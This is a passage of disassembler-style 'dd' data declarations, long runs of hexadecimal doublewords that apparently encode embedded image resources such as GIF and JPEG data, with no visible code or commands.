0A3DA77A7h, 3BA7AA7Fh, 23673375h, 0A85A71A8h dd 66A878A4h, 0EA8A4863h, 886A8CA7h, 65A88575h, 3A78A914h dd 0A95A43A9h, 9848EA8Fh, 3A9AA84Ah, 452A8E88h, 0A0A54A7Ch dd 5A94AA1Ah, 0A967C404h, 0A4A0046Eh, 9A6CAA86h, 0A9D33680h dd 8BA5A0F6h, 28B6AB0Ah, 1EBAB381h, 0B70D40B9h, 24FFAB8Ah dd 476AACABh, 2A02D08Fh, 1AC0ABF0h, 836AC28Ch, 2F7781E3h dd 9A92A5B0h, 0ACB5CFACh, 322DAA60h, 33FE0360h, 2AD2AAF0h dd 0C8ABAAAh, 36033095h, 0F2B60360h, 0A9BADB80h, 957BCAAAh dd 60360390h, 0AE5AE499h, 0E87C33F8h, 0F036094Ah, 0AC8AE31Bh dd 0DD8CAAEEh, 0C21B1B4Ah, 0AF7AF6AEh, 95AB24A4h, 51FD0953h dd 0AFEAD1AFh, 0C57E6A8Dh, 0AAF4B027h, 3F4B06ADh, 2FB01801h dd 0DB05AFC2h, 7DE3D7B0h, 31B4395h, 4B14B0CBh, 7E7045A6h dd 0B798165h, 3B1BAEDBh, 7D77E6ADh, 12B20175h, 7B23A99Bh dd 0B17B258Ah, 0FBA60B1Fh, 7B2BB139h, 7CDB1D4Fh, 31092100h dd 5B33B2ABh, 181B163Dh, 0A7B39B27h, 43ECB3BAh, 0B3600F42h dd 400B7087h, 4AEFB42Bh, 0B8AABB4h, 4AB4908Ah, 0F045A50Bh dd 0B47B4D00h, 0FD958B4Fh, 0A3B0B51Ah, 7C5B543Dh, 580C7B56h dd 7B5AB32Bh, 125B4C8Ch, 601651D6h, 0EB63AA6Bh, 188B65B0h dd 61B48181h, 4B6BB3ABh, 0D4248Ch, 7FB6E7C4h, 3B6AB701h dd 0DB1CB7h, 13B66014h, 500FFE51h, 0A3E8B7CBh, 0DCB7E3Dh dd 71B820CCh, 0CB84B41Bh dd 0B7FB863Ch, 2902A020h, 9B7A1150h, 3A8B8DB5h, 7F0103DAh dd 3B9301FBh, 0B70C5B9h, 97B969F4h, 0BB993A6Bh, 0B9E0D4B9h dd 0A10F60C4h, 8BA3B62Bh, 0A3DA3Bh, 20019014h, 8029BA70h dd 126083BAh, 0ADBA201Ch, 6424904Bh, 0BB201200h, 0A9BB50D5h dd 0CBB9AAEBh, 8DCBBBBAh, 1BBBE045h, 3BCC0200h, 0B9E026BBh dd 0C501FA75h, 9BC7B72Bh, 0BBE3DA3Bh, 0CEBCD015h, 5029BB5Bh dd 0BD301BA7h, 0D3BD5B8Ch, 20083C28h, 0BDABD901h, 0DEBDC020h dd 1BE2BE0Bh, 83DA3Eh, 0E8BE7010h, 0ABEBBB5Bh, 5DFBEDBBh dd 0E8BF1BBDh, 5BDEBDABh, 0BF7BF601h, 18010BD7h, 9BCDBFB0h dd 0A830E4A5h, 0F9B15BF7h, 0C04C03Bh, 0A7DC0602h, 0B3C09BD4h dd 2015C013h, 0C0FC04BBh, 3BC12C08h, 0DC15BF94h, 0BFFC18C0h dd 16C14BEDh, 6C1FBFBCh, 5D3C1ABCh, 1EBBFBF9h, 10B60CFEh dd 2C27BE1Ch, 6BD73Bh, 21BE8BFAh, 9C2CB910h, 3D0C2FC1h dd 320053DAh, 1BCDC23Ch, 0C802102h, 38BD2029h, 45BDC39Ch dd 0C33C3C42h, 35C35BCCh, 290C3Ch, 1201C02h, 3BBE2C20h dd 0BF2C32Ch, 0BCCC3502h, 52C500D3h, 0BC46C26Ch, 43C28Fh dd 40BDAC56h, 995EC40Ch, 0C11C5D01h, 618F2C5Fh, 5C3EC56Ch dd 0C69C67C6h, 28C6BC2Eh, 9BF1C6DCh, 0C70C2301h, 68126029h dd 5BD5C53Ch, 0BBF010C5h, 6501DC16h, 0F020BB5Ch, 0C5EC7D01h dd 76BBCC74h, 1ABBFCh, 0C9101D02h, 26BB5C91h, 0AC890200h dd 0C60C8BC6h, 81C62045h, 901A015Ch, 0C8601DC7h, 72018020h dd 2B64C99Ch, 0C320033Ch, 20C78BE6h, 2C9201A0h, 0A0201CCAh dd 45AF8CA6h, 9BD8CA90h, 0C90C9F01h, 0B001A01Dh, 7C7E010Ch dd 0CB63DABCh, 0B8C15BE6h, 0FCBCC90Ch, 15020C4h, 0B3C8ACBEh dd 242490DCh, 0CC5CC4CCh, 0FEC8F01Ah, 0BFCCACC8h, 6CC1BBBCh dd 0CC4C5600h, 0E9CBBCD3h, 0CCD6BCCBh, 910CCDCCh, 0F1CDACCFh dd 4CD3CD1Bh, 0CCBCE0CDh, 7CE3C98h, 5C49CA89h, 0CD3CE801h dd 13020CDFh, 0EC73CEC0h, 45C8CCEh, 0ABC49002h, 0DCE9C78Ch dd 0CF701DBCh, 0DABADCD7h, 2CAACFD3h, 0D01C9ECFh, 0F8D03BCCh dd 73BBCFACh, 0CF2CFED0h, 8FCE9017h, 0E013D0DCh, 0BA3D0500h dd 17CAAD12h, 6D0CD140h, 0D1BD19C9h, 81D1DB97h, 7015D1FCh dd 0D17CB801h, 10D0FD22h, 2424BD6Dh, 12C9C00h, 19D14013h dd 0D0170170h, 0D2EC68BCh, 318D9D2Fh, 0F012D33Dh, 1AD38D1h dd 3BC59017h, 7B8DD24Dh, 0D42D40D0h, 58D39D15h, 0DCE2D47Ch dd 0CAAD4ACCh, 38D29D41h, 21D4EDh, 0D3DCEDD5h, 9C0013DAh dd 7D41C81Ch, 0C40D45D5h, 3DCF9D5Ah, 0E3C2CCEDh, 0D60C32D5h dd 65D62013h, 0C01201ACh, 3B4D67D3h, 12D40D5Dh, 8D38D610h dd 1A021C5h, 0D1FEA011h, 75CB3D51h, 0DD77D6BDh, 0D7AD57D6h dd 5BD7ED7Ch, 0AD81D2FDh, 0D84013CAh, 87C35D79h, 1B84D48Dh dd 0D95010D8h, 0CDD62D8Dh, 2D7D015Bh, 0D94B7CD9h, 97011D95h dd 0BCE0D79Dh, 0CA6D7FD9h, 11010D8Bh, 9DA1DA00h, 0D88D9AC5h dd 0DAD73D66h, 8CB60003h, 0D34011DAh, 0A4DACD57h, 0DD10D89Dh dd 0DA8DB3D5h, 13D6DD34h, 0FDB9D990h, 0DBCD67DAh, 8DDB4CE6h dd 7D0DD8DDh, 601101h, 0C6B73D9Ch, 9DA8D6BDh, 0C90DC1DCh dd 0A5DCEDCCh, 3DB1C99Dh, 11C3C00h, 0B8DD4DBEh, 0BDCF00BDh dd 0C3CDBCB6h, 0E0D9F00Eh, 2DCCBCCDh, 0C8BDD9DEh, 0E8C49DDBh dd 0DC35DC9Dh, 0DE3DEB01h, 0D2DE5B63h, 0D8DDAADh, 11DF4C4h dd 0FADBADECh, 3D95DD1Ch, 21DF2DDh, 0C4DFFDFDh, 1424D5CDh dd 0DF9DDC00h, 0F5E06DE0h, 8C74DEDDh, 0DA0E03DFh, 11DFCE16h dd 2CEEE00Eh, 0DA9DE8E0h, 37C35011h, 0ADF6DFEDh, 0E1EE1CB5h dd 81E021Eh, 3B00h, 0 dd 38464947h, 2926139h, 0AE30050h, 0F2ECE100h, 0E8F5F0E8h dd 0F5EFF5F1h, 0FBF9F6F8h, 0F8FCFAF8h, 0FDFCFCFBh, 0FEFEFDFEh dd 0FFFEFEFEh, 4 dup(0FFFFFFFFh), 4F921FFh, 0F000A01h dd 2C00h, 2920000h, 4000050h, 7C9F0FEh, 0EB38BDAAh, 60FFBBCDh dd 69648E28h, 0AEAA689Eh, 70BEEB6Ch, 6D74CF2Ch, 804D39Fh dd 0C0FCA1C4h, 2C4870A0h, 0A4C88F1Ah, 3A6CC972h, 74A8D09Fh dd 0AF5AAD4Ah, 0CB76ACD8h, 0E0BF7AEDh, 2081E6h, 0B4E106E8h dd 0BB6ECD7Ah, 7CB8F0DFh, 89DBAF4Eh, 7043F303h, 80FFFBEFh dd 84838281h, 16A8685h, 8C870614h, 908F8E8Dh, 85939291h dd 94081505h, 9C9B9A99h, 839F9E9Dh, 0A4A01508h, 0A8A7A6A5h dd 0AAA3A6A9h, 0B0AFAEADh, 0AC5DB2B1h, 0B8B7B6B3h, 0B5A5BAB9h dd 0C0BFBEBBh, 0BD70C2C1h, 0C8C7C6C3h, 0C544CAC9h, 0D0CFCECBh dd 0D2CDAAD1h, 0D8D7D6D5h, 0DCD9D485h, 5FDFDEDDh, 0E4E3E0DBh dd 0E245E6E5h, 0ECEBEAE7h, 0F0EDE9D5h, 0EFBEF2F1h, 0F8F7F6F3h dd 0FCF9F5A7h, 0FB8FFEFDh, 481C09FEh, 82C04EB0h, 0A42A1308h dd 0C3A16005h, 1CB71087h, 62B1488Ch, 331689C5h, 71882C6Ah dd 0FE8FC7A3h, 1C823AF7h, 0C89CF249h, 66532892h, 0A5B2A93Bh dd 5F2C65CBh, 2BF99CCAh, 389BCD26h, 0C9CCD963h, 86AF27B3h dd 0B50A833Eh, 0D1A873B5h, 228A87A3h, 8FB4CA5Dh, 0A350A6D2h dd 0B52A79BAh, 578655AAh, 43B56AB3h, 0AFD7AB75h, 1D82BA4Ah dd 0D888164Bh, 9EBD68B2h, 0EAD6CB4Dh, 9B70B6DAh, 0D74B8DBEh dd 78BADCE8h, 0CBCDDE7Bh, 0BEDEE697h, 0DFE5B80h, 0E0E4984Ch dd 1E3788C2h, 0E298CC4Eh, 1790C6E2h, 994C8E3Eh, 98CAE4E0h dd 0CCCE5DFBh, 0CEE6DED9h, 0E7DDBA0h, 0E8DCDA4Dh, 9DBFA8D2h dd 0DB1ACD4Eh, 0A3B0D6EAh, 5B4D8EBDh, 0B8DAECD9h, 0CDCEDD87h dd 0DED01E9Bh, 0EFF35C0h, 0F0F3DC4Eh, 1F45C8E2h, 0F4DCCE4Fh dd 55D0E6F2h, 0DD4E8F3Fh, 0D8EAF4F5h, 0CECF5F65h, 0EEF6F6DDh dd 0F7F75E0h, 0F977DE4Fh, 0A376C7F3h, 3D477F5Fh, 2E72F7FBh dd 2B3F9FC1h, 0F4458541h, 0B4B2BBF3h, 54FFBF47h, 802A5089h dd 7E047FC6h, 3C0E8792h, 82E050F8h, 46518C91h, 20DC120Eh dd 561484E1h, 1885E168h, 86E1A866h, 0E1E8761Ch, 10E41887h dd 3B0001h, 0 dd 0E0FFD8FFh, 464A1000h, 1004649h, 48000101h, 4800h, 4300DBFFh dd 1010100h, 0Fh dup(1010101h), 0DBFF01h, 1010143h, 0Fh dup(1010101h) dd 0C0FF0101h, 81100h, 32F002Dh, 2002201h, 11030111h, 0C4FF01h dd 100001Fh, 1010105h, 10101h, 0 dd 1000000h, 5040302h, 9080706h, 0C4FF0B0Ah, 10B500h, 3030102h dd 5030402h, 40405h, 17D0100h, 4000302h, 21120511h, 13064131h dd 22076151h, 81321471h, 2308A191h, 15C1B142h, 24F0D152h dd 82726233h, 17160A09h, 251A1918h, 29282726h, 3635342Ah dd 3A393837h, 46454443h, 4A494847h, 56555453h, 5A595857h dd 66656463h, 6A696867h, 76757473h, 7A797877h, 86858483h dd 8A898887h, 95949392h, 99989796h, 0A4A3A29Ah, 0A8A7A6A5h dd 0B3B2AAA9h, 0B7B6B5B4h, 0C2BAB9B8h, 0C6C5C4C3h, 0CAC9C8C7h dd 0D5D4D3D2h, 0D9D8D7D6h, 0E3E2E1DAh, 0E7E6E5E4h, 0F1EAE9E8h dd 0F5F4F3F2h, 0F9F8F7F6h, 0C4FFFAh, 300011Fh, 2 dup(1010101h) dd 1, 1000000h, 5040302h, 9080706h, 0C4FF0B0Ah, 11B500h dd 4020102h, 7040304h, 40405h, 770201h, 11030201h, 31210504h dd 51411206h, 13716107h, 8813222h, 0A1914214h, 2309C1B1h dd 15F05233h, 0AD17262h, 0E1342416h, 1817F125h, 27261A19h dd 352A2928h, 39383736h, 4544433Ah, 49484746h, 5554534Ah dd 59585756h, 6564635Ah, 69686766h, 7574736Ah, 79787776h dd 8483827Ah, 88878685h, 93928A89h, 97969594h, 0A29A9998h dd 0A6A5A4A3h, 0AAA9A8A7h, 0B5B4B3B2h, 0B9B8B7B6h, 0C4C3C2BAh dd 0C8C7C6C5h, 0D3D2CAC9h, 0D7D6D5D4h, 0E2DAD9D8h, 0E6E5E4E3h dd 0EAE9E8E7h, 0F5F4F3F2h, 0F9F8F7F6h, 0DAFFFAh, 1030Ch dd 11031102h, 0FE003F00h, 0FEC22BFEh, 0FFD0FE24h, 1BBE0D00h dd 0ADED66Bh, 0B5ECD6BDh, 0FA77884Fh, 879DFA7Ch, 6D6FEC81h dd 10365697h, 0FE3DB246h, 9ACCCEA4h, 49C7965Dh, 6A934A50h dd 7BC27657h, 0D44C339Dh, 68BBB421h, 0BDBCF38h, 0FDB589F6h dd 0EA0D3E9Bh, 0F2B730DEh, 0AC613C2Eh, 0E0393C4Ch, 24603A4Dh dd 7941FC49h, 429DD204h, 0BAAF1DE6h, 86B245C3h, 0CC9F51E3h dd 5DDCB34Fh, 0CDA56347h, 0C5A92D2Ch, 3C71FE20h, 0EFFEF02Dh dd 0E29F2EE2h, 0F667DA9Fh, 8A37F186h, 8FEBC38Fh, 4E9AEA11h dd 6BA56D9Bh, 3FBE6913h, 0BF1F7F8h, 426F1D6Bh, 92B035D2h dd 0E177785Ch, 7C8700FFh, 0D778B0CFh, 0B19096C5h, 197C4833h dd 5483E5E1h, 3F69DC33h, 0E29F7887h, 338627AEh, 0C32D3C2Ah dd 8C383054h, 0A636FBF7h, 99669F7Dh, 0C951699Dh, 0E8864BF8h dd 67AE42CDh, 0AB14CE98h, 0CE9A784Ah, 23E1C0F0h, 0D549B54Ah dd 0B8B00495h, 1EACB8BAh, 3CF21713h, 3275C443h, 0B0CBF0FAh dd 673CA310h, 193396B0h, 0C34DC488h, 20E0960Bh, 76452CEDh dd 4FEA26A3h, 8C924A55h, 95E0E4E4h, 4AA9B23Ah, 5FD64F95h dd 55F07F88h, 2BE874Fh, 0BB346ED6h, 7C1700FFh, 0A4D85B35h dd 0D240DF78h, 0E3513C6Ch, 44CA4E6Dh, 0DE0DAD7Dh, 46EDE1A3h dd 1F2A430Bh, 1B5BD295h, 5A028319h, 0E5203F04h, 0FF33FCh dd 0BFF06705h, 3468B58Bh, 7FC413DDh, 4CDB450Ch, 776D348Ah dd 857FF143h, 0EDF01BF5h, 2FED2DB5h, 0DE7ABD35h, 6CA719D2h dd 0BE206EA4h, 5BEE5891h, 0DBF28839h, 0FC021FE3h, 74EDD370h dd 0FF2D48h, 0B7D9AF66h, 0E1736FC4h, 0F14B83F4h, 8A31FC33h dd 79E870Fh, 74ADAEF0h, 0A24513F7h, 1300FF6Bh, 612CEFEEh dd 73B71EF1h, 0A4CDBD0Ah, 0B5D62D9Eh, 62CF13DFh, 5EDDF6A9h dd 0DB2468EAh, 32F177BFh, 0CDBAC7D3h, 0FF808Fh, 8200FF68h dd 0AC8FCE9Ah, 0E2C69AF8h, 0FED042EBh, 0E3896936h, 0BAC6074Dh dd 0D4A1AB65h, 0F177F864h, 9825AE0Dh, 0D188D85Dh, 79F8BFE6h dd 6B0E5FE2h, 0DB368CD6h, 738F4EEBh, 95E1376Fh, 4AE340BCh dd 0CC796AB8h, 0F08CC378h, 4B6545F9h, 8F200E13h, 3064CD06h dd 4AA3E455h, 1157A3A4h, 0AB0C2CCBh, 43D1BE7Bh, 0BDE38DAh dd 0C2D3752Ah, 0EF2C1B1Fh, 0E2389536h, 439B69D6h, 0C7592E0Bh dd 0F597B21Ch, 8CD2CE25h, 3A4B959Ah, 5CCE4E2Eh, 61D156AAh dd 7600FFB9h, 1D7CE77Eh, 137CA4FDh, 0D1E26DF1h, 0F80C1FD4h dd 0AD3CC5D0h, 0E9427DE1h, 76EC452Eh, 6D9A66E8h, 0DA105403h dd 1D45AC47h, 20896BB8h, 563F4D7Bh, 2EAE088Ah, 0B2A3D266h dd 0D037DD84h, 6AD5FCD5h, 0FED4089Eh, 2BF8DD04h, 890FF05Bh dd 7CAC4BBCh, 0A5A6F116h, 0F3F06375h, 46B5D454h, 0C1CFF1BCh dd 1C7E899Fh, 0BA203EB5h, 0F8AD53F8h, 7DA2288Eh, 56E9DC52h dd 85DFE2AFh, 0B6B826DEh, 0D1BCBFB4h, 0FB5B246Ch, 0DD5BD010h dd 9FBCDFEAh, 64C5AFB3h, 0A7F0C5F8h, 9D2CBEC3h, 85DDFEA2h dd 55FCD066h, 63883114h, 0EFE8114Fh, 98FB5BF6h, 0EC9FD52Dh dd 88BA3AD6h, 0DD2EDD35h, 498BE49Dh, 53562CD5h, 0F7036EE6h dd 47BC0BAFh, 1F87F8CCh, 1687F098h, 0E253C153h, 0C22EAF9Ch dd 0C33C7867h, 5596922Dh, 8F351CC5h, 9F094BF6h, 9424AD65h dd 8E87AF1Bh, 0E9344621h, 726962F3h, 58D5C3D1h, 0ED17269Ch dd 0C43D7738h, 0CA57AB63h, 59D128F3h, 2C851E8Eh, 77F82A5Dh dd 9763367Ch, 58F6E5D6h, 5EDA3EDCh, 8CB25370h, 8C16526Fh dd 5229ED27h, 0FF6FFCh, 0AF78B682h, 313ED45Dh, 0EFC00F78h dd 0F8A20B24h, 0DEB4E167h, 0CB60D22Ch, 0C4535DE6h, 6BB1C69Ah dd 7276C9A8h, 83A7A310h, 5063C8F4h, 0E44863ACh, 75676075h dd 0F4F62BAEh, 8487A5F0h, 37F071BCh, 0FDF06FF6h, 85277AF4h dd 1E7C1B3Eh, 618196F0h, 9327D17Ah, 8F78AA63h, 352DD654h dd 42DF18EFh, 0DD3DA9AAh, 0A665F6E7h, 0C04AADBDh, 6B757FCBh dd 8F347175h, 0FA32C335h, 0C315FC2Fh, 5F5A17C3h, 0FE84BFC5h dd 0B4D9783Ah, 137813EFh, 52C4F050h, 0F85F88F4h, 0D5B95E33h dd 90656C6Eh, 0ED2DCB2Fh, 9A238D8Fh, 0E5DB22D6h, 0E4D44F8Bh dd 0E56D5D8Dh, 0EDEFF931h, 0FBAD0E53h, 0F823FC49h, 0F85CFB67h dd 3EF12611h, 5AFE0A3h, 0FD387C58h, 0A43B7CA2h, 43FC6EC6h dd 0EDF2BE1h, 0A61AEADCh, 0ECDFE397h, 0E4F365ABh, 1AF7FCF0h dd 0AD73BFBEh, 0BD7314CDh, 68A89196h, 1A36A797h, 0B46E8827h dd 3D4EE7DFh, 7C3163C3h, 45FEE349h, 0CB4C2D2Ch, 0DE383189h dd 66CE201h, 9DA45257h, 0DCE0216Eh, 1B1FA686h, 7F996598h dd 3C9DE72Ah, 6A781E16h, 53D8CF8h, 8621952Ah, 953A2D97h dd 0C3B77370h, 0D4EA3467h, 0DA6F1C7h, 0F5F175D3h, 85B9642Bh dd 0DCA43C1Ch, 0E5EB9B1h, 0F5FAB50h, 52EDCA46h, 0A4CEE9A6h dd 0A0A49C20h, 49A58CD2h, 5ED97DAh, 93EB8E3h, 0F8B76A7Ch dd 619BE025h, 0F831FCA2h, 0FE69A625h, 1DFCD010h, 34DB126Dh dd 0A6AD46DAh, 0ABCE7A69h, 0C88EB9E2h, 4D7CD5E4h, 57D76AAFh dd 8ACF3A57h, 0BFD6759Fh, 1EEFE9A9h, 0C0D23CA5h, 0C3573DECh dd 0BE83EF1Ah, 0FD1AFC2Eh, 79297CA5h, 69B30673h, 7FC3F7F0h dd 78263E0Ch, 1285583Bh, 0BFC2DFE2h, 0EFF5EE19h, 2B785A12h dd 118057ECh, 123FE261h, 0A08BA6B5h, 0A5288A78h, 0C3E7EE8Eh dd 0D4482337h, 737756CCh, 1EC33745h, 0F0FBF826h, 85C6E3EFh dd 3CBE68E1h, 0FED1397Ch, 0FFE6B26h, 3D7CADD1h, 0F0477CA0h dd 0AFB58CBFh, 1F10BF87h, 59A2B6C3h, 134FF46Ch, 975C7AEAh dd 0B1251EF6h, 79E29EB7h, 0D05797ADh, 96B35097h, 6D7BFEEEh dd 0FB8B1B42h, 0C39BB9D7h, 96E31DDFh, 13F845D7h, 8DE17FF0h dd 7F9DB6A5h, 0E075CBA9h, 0C5F85CFh, 6BACA3C6h, 0BDF128DEh dd 0F5CD22DCh, 3A6B17DFh, 0EBAAA7AEh, 5FD6201Eh, 0BCB2654Ch dd 0A9BB2EF1h, 0EDE19FAEh, 0D345D60Ah, 4B0BFD74h, 8F7FF56Bh dd 0FA7F1C3h, 1EE235BEh, 0BC73CA2Dh dd 71AA89C3h, 0C031073Eh, 0AC1CDEE4h, 0AD593983h, 94755E2Ch dd 438E9E3Ch, 1A9ED59Ah, 72C92239h, 0A78B52C7h, 0E3C72D4Bh dd 1C1852E5h, 29E1C22Ah, 0F2D3CDC9h, 2FB8E6A9h, 67766CEDh dd 0CC57C585h, 0AF519825h, 2C910B47h, 63622916h, 0FA861757h dd 897830ACh, 0FDC19A4Ah, 17E50E53h, 0D6EBE118h, 0A8A95472h dd 5FBB8B53h, 0F6F6E874h, 98FD239Eh, 0C86800FFh, 7B00FF6Eh dd 0C75FF8A7h, 0BC0100FFh, 0E8CAA243h, 0B5F85818h, 59A475FCh dd 236F4D5Ch, 0DF5DDD1Fh, 234D5678h, 165BF48h, 44BE49D3h dd 0D63EC76Ch, 9FEFBFAh, 0D7257FA5h, 708AAFC3h, 6DC50B19h dd 3063EF1h, 97E6F239h, 3781DFE1h, 7EAA8E47h, 0A7AC1DCFh dd 951ECDD7h, 2FF1D7F9h, 27F8B658h, 0F84F67F0h, 3DE27D1Bh dd 63F1562Fh, 0F8528F78h, 0F842FBB3h, 13BC4A9Bh, 1F2F7678h dd 0E9B069DCh, 0D1053E76h, 172C37AFh, 6DF81FBEh, 0D2BFBE1h dd 21E4F62Ah, 9AC4EF86h, 6F799B46h, 61ABAE35h, 7EB069AEh dd 0C100FFA1h, 0AA07BC38h, 6FF64BF8h, 0AF4F3CD3h, 0DAE95C5Ah dd 10CFC5CFh, 25137F6Ah, 30236FD3h, 0DA68D8DCh, 8F86BDA5h dd 8527D8E0h, 0C95CF0B0h, 0C30F9DE0h, 0F2B697B7h, 0FEDE9685h dd 1519EEEAh, 0D7AF085Dh, 5BA3227Ch, 43AEE211h, 0CA7E194h dd 0F031BC4Ch, 0C5393C96h, 711A8ED9h, 128786ADh, 33C419E7h dd 13ABC305h, 2196CE4Dh, 229E50E5h, 8E3A9D9Ch, 2C78F134h dd 2AA11665h, 0F0D39736h, 233E25C4h, 0E3E061C1h, 0CF7F051h dd 5E6706ACh, 0ACE9949Ch, 1A152B7Eh, 46AA02EBh, 93D59FF1h dd 27E316A9h, 68955615h, 0F65838D9h, 0F697DABFh, 0EDEFF075h dd 588FF03Bh, 5DAD6FF8h, 8E561B9Dh, 78100FE2h, 0C051C523h dd 293C6E2Eh, 2B362DE3h, 58BDF488h, 0DD8CEF5Bh, 0D5054FD8h dd 0E9AE8FE6h, 505F58E2h, 4E3D75D0h, 3B8B0BD2h, 6DEF6DA9h dd 0E2519ABFh, 0F60FDA1Fh, 71B7F81Dh, 0EA13EBA1h, 7C0A00FFh dd 54196D7Bh, 0EF6D8FBAh, 0A17D7C82h, 0D4947145h, 0EBBB7B74h dd 533CD157h, 4597CBE1h, 0FF36B770h, 0AED26B00h, 0F6B7EC1Fh dd 5B74EBAh, 0F5B79DC5h, 0C41F5CCBh, 0EDF855Fh, 76F82E7Eh dd 4FFC096Fh, 7C8647F0h, 9FC9E177h, 89573ACDh, 5A3D8BF4h dd 8D800BDEh, 1B59DE1Ah, 3E5D9EA8h, 107724FEh, 5B12166Ah dd 98B8C15Eh, 0D79C8C67h, 0F828BEECh, 8778973Dh, 0B0CE2E57h dd 8537AE59h, 8F24C7F8h, 99C4532Eh, 10719C63h, 0ACCA19A7h dd 4A95D830h, 0A7B30AADh, 4AEAAC4Eh, 0A9555A85h, 0B54AC3D6h dd 42DA4759h, 0AA2FA572h, 0A1171EE2h, 2E864A9Eh, 5FAE228Eh dd 0B015619Ah, 6A3BFCD8h, 46B9296Ah, 42594E9Dh, 0A494314Eh dd 33CE28E1h, 362BE5A6h, 0FFE2A4h, 7C10EF96h, 0F10FF861h dd 41BCF102h, 17D9AFE3h, 0E2A1D6E0h, 0EAB2CD4Bh, 3582BF9Ah dd 0E5F88AFh, 0E85AFD74h, 0A546FB96h, 2BF8A075h, 8D6E1AC6h dd 0D1BDDBF6h, 40F1C4BDh, 0E771CFB2h, 0ED704B5Ch, 620E1270h dd 0B79DF6FBh, 0A98906F0h, 0BC085FE8h, 0E0DFF01Fh, 5AAC9F16h dd 0BF5B3F1Dh, 0DFA671F8h, 7E7DE347h, 6CAA52CAh, 0F81C4F75h dd 3FF15887h, 91B4268Fh, 0DB58ABF6h, 0C6D68678h, 881BC640h dd 9FF68926h, 0FE4F7DDCh, 13FB2509h, 5E92376Ah, 176FE047h dd 2E5762E9h, 0C4677AD6h, 62431CCFh, 2CB6C532h, 3237EB33h dd 16922024h, 51639914h, 15B8AA80h, 0FF08BFEEh, 0D95F6100h dd 0FD95E057h, 3FE0B3B6h, 831ADE83h, 926E36C4h, 0C49BF8D9h dd 97F15227h, 4267AC88h, 9A69DC0Ah, 0F52F8CBFh, 701EADDBh dd 1DDD7C46h, 9CEDF6B4h, 3AF22B00h, 0CB78071Eh, 3E3CAF8Bh dd 518EE26Dh, 0E657C082h, 0B2CC8AA5h, 850D972Ch, 1E562CE2h dd 1AABE5A2h, 29178EF9h, 0D21A73CAh, 552807ADh, 45C5F9F6h dd 0D35E4A51h, 0CC1F2DDAh, 0AA3884C7h, 4F0C47ADh, 5069E110h dd 0BE52E39Dh, 780A0B0Fh, 939690EAh, 0D4FAF53h, 3527AF86h dd 547C6E7Eh, 0B9F9AEB9h, 0D96FC88Fh, 0F822F607h, 6A41FB99h dd 0FFF1181Eh, 7BDC700h, 0C16FF050h, 2D5B1E4Dh, 6EF04E57h dd 872D6FBFh, 4F2D3E8Ah, 9B36E968h, 0AB348937h, 0BEE89380h dd 86CB8703h, 62AF2C49h, 88C5E782h, 0A75604A9h, 0F337BA43h dd 564500FFh, 0DBDAF0D6h, 8B6C6DC3h, 0B146101Ch, 0AA001A43h dd 0A10AA0B1h, 81010040h, 0C71D00C6h, 49282C14h, 21013262h dd 0D246F853h, 0C4524F46h, 729C9CE3h, 5373324Eh, 8737F4D7h dd 0DF701EDEh, 320CB986h, 0BAC21B1Eh, 0E255A754h, 0CEDAF8B1h dd 78E6C633h, 7846C5D9h, 0C6585DACh, 4AE5522Ah, 3142A914h dd 509A42A3h, 0E5DC04A7h, 32C9B73Fh, 8341063Ch, 37052C58h dd 953AB918h, 55A9CDAAh, 0CE6A55C4h, 5D5959A5h, 29C628D9h dd 2829C228h, 0D9FFDBADh, 0 dd 38464947h, 3AC6139h, 0FFE70015h, 99643400h, 38A2672Eh dd 6A309C67h, 0A56A329Fh, 439B6B3Ah, 6D379A69h, 0B06F2EA9h dd 47A36C3Fh, 703D8C6Dh, 0AD713B99h, 439D7537h, 753FA272h dd 0AF733E98h, 359E7542h, 7449B177h, 93744F98h, 458F7555h dd 7748A178h, 0AD764AA8h, 3AA37B3Dh, 7A43B67Bh, 0BB7A3FAFh dd 41AD7F39h, 7D48A77Eh, 0A07B50A0h, 40A57A52h, 7B54BF7Dh dd 0C180369Ah, 40967B5Bh, 813FBB80h, 0B08047B6h, 47B1833Dh dd 814BAC83h, 0C0863AB7h, 41BF8345h, 8058B486h, 0A78350ACh dd 54B4844Bh, 825DB382h, 9C8261A2h, 57C4893Eh, 8945A485h dd 0BE8949B7h, 52B88850h, 8B48BD87h, 0C5894BBAh, 62B38A4Fh dd 895CA787h, 0AE8A57A8h, 5BAD8665h, 8868BB89h, 0BD8E4BA3h dd 4EC49043h, 8E56C38Eh, 0B98F55BEh, 5DC79247h, 8F5CB98Eh dd 0A78C6CB4h, 54BC9258h, 9552C993h, 0C9915EC4h, 5CB89360h dd 955BC493h, 0C89A4CBFh, 56AE946Bh, 975DC798h, 0AE9373C1h dd 5ABC9864h, 9B61CB9Bh, 0CB9A64C6h, 5BC09B67h, 997AC8A0h dd 0C29D6AB5h, 75BD9E6Fh, 0A067B79Dh, 0C5A264CBh, 6FC5A06Dh dd 9F75CB9Fh, 0BA9E7FC6h, 6ACFA561h, 9F84CEA3h, 0CAA669B6h dd 74C9A471h, 0A379CFA3h, 0C4A37ECAh, 83C5A577h, 0A381BEA3h dd 0CCA57BCCh, 6DC1A67Eh, 0A976CEAAh, 0D4A878CFh, 7BC9AB73h dd 0A783C9A9h, 0CFA87EC9h, 6DC3A787h, 0AE71CBAEh, 0D2AA81D2h dd 7ACCAE77h, 0AD7FD3ADh, 0C7AB8BCDh, 86CEAC88h, 0B17AC9AEh dd 0D0B082D0h, 7DD1AF8Bh, 0AF98D2B4h, 0CDB483C0h, 95D3B385h dd 0B38AC7B0h, 0CEB192CDh, 89C9B490h, 0B887D7B6h, 0D1B68ED1h dd 95D7B982h, 0B990D2B5h, 0CEB79BD4h, 95CEBB8Eh, 0B994CEB9h dd 0DDBC8FDBh, 0A1D1BF89h, 0BC93CAB9h, 0D7BA9AD7h, 98D1BA9Fh dd 0BE92D2BCh, 0D8BF8DD2h, 9ACCBE96h, 0C094D3BDh, 0CFC098D4h dd 97E0BE99h, 0BE9EDBC0h, 0CFBFA0DBh, 0A3D5C09Ch, 0BFA8D6BFh dd 0D8C497D1h, 9AD8C29Eh, 0C1A1DEC3h, 0DFC0A9DEh, 0A1E1C59Dh dd 0C4A4DBC5h, 0DBC4A8E1h, 0B0D5C4ACh, 0C7A3D0C4h, 0D7C7A7DDh dd 0A5DDC6AAh, 0C9A9DFC9h, 0D9C7B0D9h, 0B4DFC8ACh, 0CAAED4C8h dd 0E2CCA8E2h, 0B3DCCCACh, 0CEAADCCAh, 0E4CBB8E4h, 0AFDFCDB5h dd 0CDB9DFCFh, 0E5CEB2D9h, 0BBE7D0B4h, 0D2AEE8CEh, 0E2D0B8E8h dd 